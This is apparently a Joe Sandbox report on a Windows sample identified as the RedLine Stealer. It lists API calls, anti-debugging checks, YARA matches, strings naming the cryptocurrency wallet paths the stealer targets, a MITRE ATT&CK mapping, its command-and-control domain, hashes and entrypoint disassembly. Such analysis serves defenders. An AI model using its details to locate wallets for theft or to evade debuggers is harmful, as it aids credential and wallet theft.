                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0208092B mov eax, dword ptr fs:[00000030h]0_2_0208092B
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02080D90 mov eax, dword ptr fs:[00000030h]0_2_02080D90
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0040ADB0 GetProcessHeap,HeapFree,0_2_0040ADB0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0040CE09
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0040E61C
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00416F6A
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004123F1 SetUnhandledExceptionFilter,0_2_004123F1
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0208D059 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0208D059
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0208E86C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0208E86C
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020971BA __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_020971BA
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02092641 SetUnhandledExceptionFilter,0_2_02092641
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeMemory allocated: page read and write | page guardJump to behavior
                      Source: kMroyG6lXZ.exe, 00000000.00000002.489438816.0000000000C70000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
                      Source: kMroyG6lXZ.exe, 00000000.00000002.489438816.0000000000C70000.00000002.00000001.sdmpBinary or memory string: Progman
                      Source: kMroyG6lXZ.exe, 00000000.00000002.489438816.0000000000C70000.00000002.00000001.sdmpBinary or memory string: SProgram Managerl
                      Source: kMroyG6lXZ.exe, 00000000.00000002.489438816.0000000000C70000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd,
                      Source: kMroyG6lXZ.exe, 00000000.00000002.489438816.0000000000C70000.00000002.00000001.sdmpBinary or memory string: Progmanlock
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: GetLocaleInfoA,0_2_00417A20
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: MapViewOfFile,RaiseException,LCMapStringA,GetLocaleInfoW,RegCreateKeyW,0_2_00433B40
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: GetLocaleInfoA,0_2_02097C70
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_00412A15
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                      Stealing of Sensitive Information:

                      barindex
                      Yara detected RedLine StealerShow sources
                      Source: Yara matchFile source: 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000003.224645228.0000000000724000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.490498068.00000000023B0000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.491643531.0000000003505000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.490137711.0000000002170000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: kMroyG6lXZ.exe PID: 4944, type: MEMORY
                      Source: Yara matchFile source: 0.3.kMroyG6lXZ.exe.7242d0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21ed976.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.23b0000.6.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21eca8e.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3523550.9.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.23b0000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21eca8e.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3523550.9.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3505530.8.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21ed976.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.3.kMroyG6lXZ.exe.7242d0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3506418.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3506418.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3505530.8.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170ee8.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170ee8.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170000.3.raw.unpack, type: UNPACKEDPE
                      Found many strings related to Crypto-Wallets (likely being stolen)Show sources
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: ElectrumRule
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: JaxxRule
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: Exodus+\Exodus\exodus.wallet
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: Ethereum#\Ethereum\wallets
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: ExodusRule
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: EthereumRule
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: set_UseMachineKeyStore

                      Remote Access Functionality:

                      barindex
                      Yara detected RedLine StealerShow sources
                      Source: Yara matchFile source: 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000003.224645228.0000000000724000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.490498068.00000000023B0000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.491643531.0000000003505000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.490137711.0000000002170000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: kMroyG6lXZ.exe PID: 4944, type: MEMORY
                      Source: Yara matchFile source: 0.3.kMroyG6lXZ.exe.7242d0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21ed976.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.23b0000.6.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21eca8e.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3523550.9.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.23b0000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21eca8e.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3523550.9.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3505530.8.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.21ed976.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.3.kMroyG6lXZ.exe.7242d0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3506418.7.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3506418.7.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.3505530.8.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170ee8.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170ee8.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.kMroyG6lXZ.exe.2170000.3.raw.unpack, type: UNPACKEDPE

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid AccountsCommand and Scripting Interpreter2Path InterceptionProcess Injection1Virtualization/Sandbox Evasion1OS Credential DumpingSystem Time Discovery1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default AccountsNative API1Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemorySecurity Software Discovery31Remote Desktop ProtocolData from Local System1Exfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerVirtualization/Sandbox Evasion1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Deobfuscate/Decode Files or Information1NTDSProcess Discovery2Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information3LSA SecretsRemote System Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.commonSoftware Packing22Cached Domain CredentialsSystem Information Discovery23VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      kMroyG6lXZ.exe28%VirustotalBrowse
                      kMroyG6lXZ.exe36%ReversingLabsWin32.Trojan.Pwsx
                      kMroyG6lXZ.exe100%Joe Sandbox ML

                      Dropped Files

                      No Antivirus matches

                      Unpacked PE Files

                      No Antivirus matches

                      Domains

                      SourceDetectionScannerLabelLink
                      bumblebee2021.store10%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://bumblebee2021.store40%Avira URL Cloudsafe
                      https://icanhazip.com5https://wtfismyip.com/textChttp://bot.whatismyipaddress.com/3http://checkip.dy0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/GetArguments0%VirustotalBrowse
                      http://tempuri.org/Endpoint/GetArguments0%Avira URL Cloudsafe
                      http://tempuri.org/0%Avira URL Cloudsafe
                      http://bumblebee2021.store0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/VerifyUpdateResponse0%Avira URL Cloudsafe
                      https://api.ip.sb/geoipAppData0%URL Reputationsafe
                      https://api.ip.sb/geoipAppData0%URL Reputationsafe
                      https://api.ip.sb/geoipAppData0%URL Reputationsafe
                      http://tempuri.org/Endpoint/GetArgumentsResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/GetUpdates0%Avira URL Cloudsafe
                      http://bumblebee2021.store:80//0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/VerifyScanRequest0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/GetUpdatesResponse0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/VerifyUpdate0%Avira URL Cloudsafe
                      http://tempuri.org/00%Avira URL Cloudsafe
                      http://bumblebee2021.store(hr0%Avira URL Cloudsafe
                      http://tempuri.org/Endpoint/VerifyScanRequestResponse0%Avira URL Cloudsafe
                      http://bumblebee2021.store//0%Avira URL Cloudsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      bumblebee2021.store
                      		unknown
                      		unknowntrueunknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      https://ipinfo.io/ip%appdata%kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpfalse
                        		high
                        http://bumblebee2021.store4kMroyG6lXZ.exe, 00000000.00000002.490752046.000000000254E000.00000004.00000001.sdmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        https://icanhazip.com5https://wtfismyip.com/textChttp://bot.whatismyipaddress.com/3http://checkip.dykMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://tempuri.org/Endpoint/GetArgumentskMroyG6lXZ.exe, 00000000.00000002.490752046.000000000254E000.00000004.00000001.sdmpfalse
                        • 0%, Virustotal, Browse
                        • Avira URL Cloud: safe
                        		unknown
                        http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymouskMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                          		high
                          http://schemas.xmlsoap.org/soap/envelope/kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmp, kMroyG6lXZ.exe, 00000000.00000002.490778554.0000000002558000.00000004.00000001.sdmpfalse
                            		high
                            http://tempuri.org/kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmp, kMroyG6lXZ.exe, 00000000.00000002.490778554.0000000002558000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://bumblebee2021.storekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmptrue
                            • Avira URL Cloud: safe
                            		unknown
                            http://tempuri.org/Endpoint/VerifyUpdateResponsekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://api.ip.sb/geoipAppDatakMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://tempuri.org/Endpoint/GetArgumentsResponsekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://tempuri.org/Endpoint/GetUpdateskMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://bumblebee2021.store:80//kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmptrue
                            • Avira URL Cloud: safe
                            		unknown
                            https://api.ipify.orgkMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpfalse
                              		high
                              http://schemas.xmlsoap.org/ws/2004/08/addressingkMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                		high
                                http://schemas.xmlsoap.org/ws/2004/08/addressing/faultkMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                  		high
                                  http://tempuri.org/Endpoint/VerifyScanRequestkMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://tempuri.org/Endpoint/GetUpdatesResponsekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://tempuri.org/Endpoint/VerifyUpdatekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://tempuri.org/0kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://bumblebee2021.store(hrkMroyG6lXZ.exe, 00000000.00000002.490778554.0000000002558000.00000004.00000001.sdmptrue
                                  • Avira URL Cloud: safe
                                  		low
                                  http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                    		high
                                    http://tempuri.org/Endpoint/VerifyScanRequestResponsekMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://schemas.xmlsoap.org/soap/actor/nextkMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpfalse
                                      		high
                                      http://bumblebee2021.store//kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmp, kMroyG6lXZ.exe, 00000000.00000002.490752046.000000000254E000.00000004.00000001.sdmptrue
                                      • Avira URL Cloud: safe
                                      		unknown

                                      Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public

                                      IPDomainCountryFlagASNASN NameMalicious

                                      Private

                                      IP
                                      192.168.2.1

                                      General Information

                                      Joe Sandbox Version:32.0.0 Black Diamond
                                      Analysis ID:399804
                                      Start date:29.04.2021
                                      Start time:09:35:34
                                      Joe Sandbox Product:CloudBasic
                                      Overall analysis duration:0h 6m 1s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Sample file name:kMroyG6lXZ.exe
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                      Number of analysed new started processes analysed:24
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:0
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • HDC enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Analysis stop reason:Timeout
                                      Detection:MAL
                                      Classification:mal96.troj.spyw.evad.winEXE@1/0@103/1
                                      EGA Information:Failed
                                      HDC Information:
                                      • Successful, ratio: 7.2% (good quality ratio 7%)
                                      • Quality average: 84.8%
                                      • Quality standard deviation: 22.2%
                                      HCA Information:
                                      • Successful, ratio: 100%
                                      • Number of executed functions: 74
                                      • Number of non-executed functions: 61
                                      Cookbook Comments:
                                      • Adjust boot time
                                      • Enable AMSI
                                      • Found application associated with file extension: .exe
                                      Warnings:
                                      Show All
                                      • Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 104.42.151.234, 13.64.90.137, 92.122.145.220, 184.30.20.56, 20.82.209.183, 92.122.213.247, 92.122.213.249, 2.20.142.209, 2.20.142.210, 20.54.26.129, 20.50.102.62
                                      • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net
                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                      • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                      • Report size getting too big, too many NtQueryValueKey calls found.

                                      Simulations

                                      Behavior and APIs

                                      No simulations

                                      Joe Sandbox View / Context

                                      IPs

                                      No context

                                      Domains

                                      No context

                                      ASN

                                      No context

                                      JA3 Fingerprints

                                      No context

                                      Dropped Files

                                      No context

                                      Created / dropped Files

                                      No created / dropped files found

                                      Static File Info

                                      General

                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Entropy (8bit):7.371549573822333
                                      TrID:
                                      • Win32 Executable (generic) a (10002005/4) 99.94%
                                      • Clipper DOS Executable (2020/12) 0.02%
                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                      • DOS Executable Generic (2002/1) 0.02%
                                      • VXD Driver (31/22) 0.00%
                                      File name:kMroyG6lXZ.exe
                                      File size:278016
                                      MD5:9ce4c8a45c002bb230764b42b9211086
                                      SHA1:435e3955dfcfb36e60ab31bdd309bf72ab5de377
                                      SHA256:a0faa82eeb65dec2d55e0041f18eb27652dafd93dc25e105927303e277cd8df6
                                      SHA512:17c3d1931456cc8d4561407bcdd88637c43b39bb24544cf432b59648dc8d7e44d436e317e865f70b21f1cb7b8c8e6a00d5402a5afd2d7f87e3ca6c49c1d296cf
                                      SSDEEP:6144:mML+VLuD3aAeEqFRBMR6mU8Mzv4VeYPh:mMiVLYaAaZMR6T44Y
                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L...~..^...........

                                      File Icon

                                      Icon Hash:dab1e4d0e4b9c7b8

                                      Static PE Info

                                      General

                                      Entrypoint:0x40179a
                                      Entrypoint Section:.text
                                      Digitally signed:false
                                      Imagebase:0x400000
                                      Subsystem:windows gui
                                      Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                      DLL Characteristics:TERMINAL_SERVER_AWARE
                                      Time Stamp:0x5E10F77E [Sat Jan 4 20:37:18 2020 UTC]
                                      TLS Callbacks:
                                      CLR (.Net) Version:
                                      OS Version Major:5
                                      OS Version Minor:0
                                      File Version Major:5
                                      File Version Minor:0
                                      Subsystem Version Major:5
                                      Subsystem Version Minor:0
                                      Import Hash:20a3b8299db6e8582c3eb04a6c72e959

                                      Entrypoint Preview

                                      Instruction
                                      call 00007F257CB177FEh
                                      jmp 00007F257CB1495Eh
                                      mov edi, edi
                                      push ebp
                                      mov ebp, esp
                                      sub esp, 00000328h
                                      mov dword ptr [0043ED48h], eax
                                      mov dword ptr [0043ED44h], ecx
                                      mov dword ptr [0043ED40h], edx
                                      mov dword ptr [0043ED3Ch], ebx
                                      mov dword ptr [0043ED38h], esi
                                      mov dword ptr [0043ED34h], edi
                                      mov word ptr [0043ED60h], ss
                                      mov word ptr [0043ED54h], cs
                                      mov word ptr [0043ED30h], ds
                                      mov word ptr [0043ED2Ch], es
                                      mov word ptr [0043ED28h], fs
                                      mov word ptr [0043ED24h], gs
                                      pushfd
                                      pop dword ptr [0043ED58h]
                                      mov eax, dword ptr [ebp+00h]
                                      mov dword ptr [0043ED4Ch], eax
                                      mov eax, dword ptr [ebp+04h]
                                      mov dword ptr [0043ED50h], eax
                                      lea eax, dword ptr [ebp+08h]
                                      mov dword ptr [0043ED5Ch], eax
                                      mov eax, dword ptr [ebp-00000320h]
                                      mov dword ptr [0043EC98h], 00010001h
                                      mov eax, dword ptr [0043ED50h]
                                      mov dword ptr [0043EC4Ch], eax
                                      mov dword ptr [0043EC40h], C0000409h
                                      mov dword ptr [0043EC44h], 00000001h
                                      mov eax, dword ptr [0043A008h]
                                      mov dword ptr [ebp-00000328h], eax
                                      mov eax, dword ptr [0043A00Ch]
                                      mov dword ptr [ebp-00000324h], eax
                                      call dword ptr [000000A8h]

                                      Data Directories

                                      NameVirtual AddressVirtual Size Is in Section
                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x5b37c0x50.new
                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x5c0000x1a4b.rsrc
                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x5e0000xf54.reloc
                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                      IMAGE_DIRECTORY_ENTRY_TLS0x5aec80x18.new
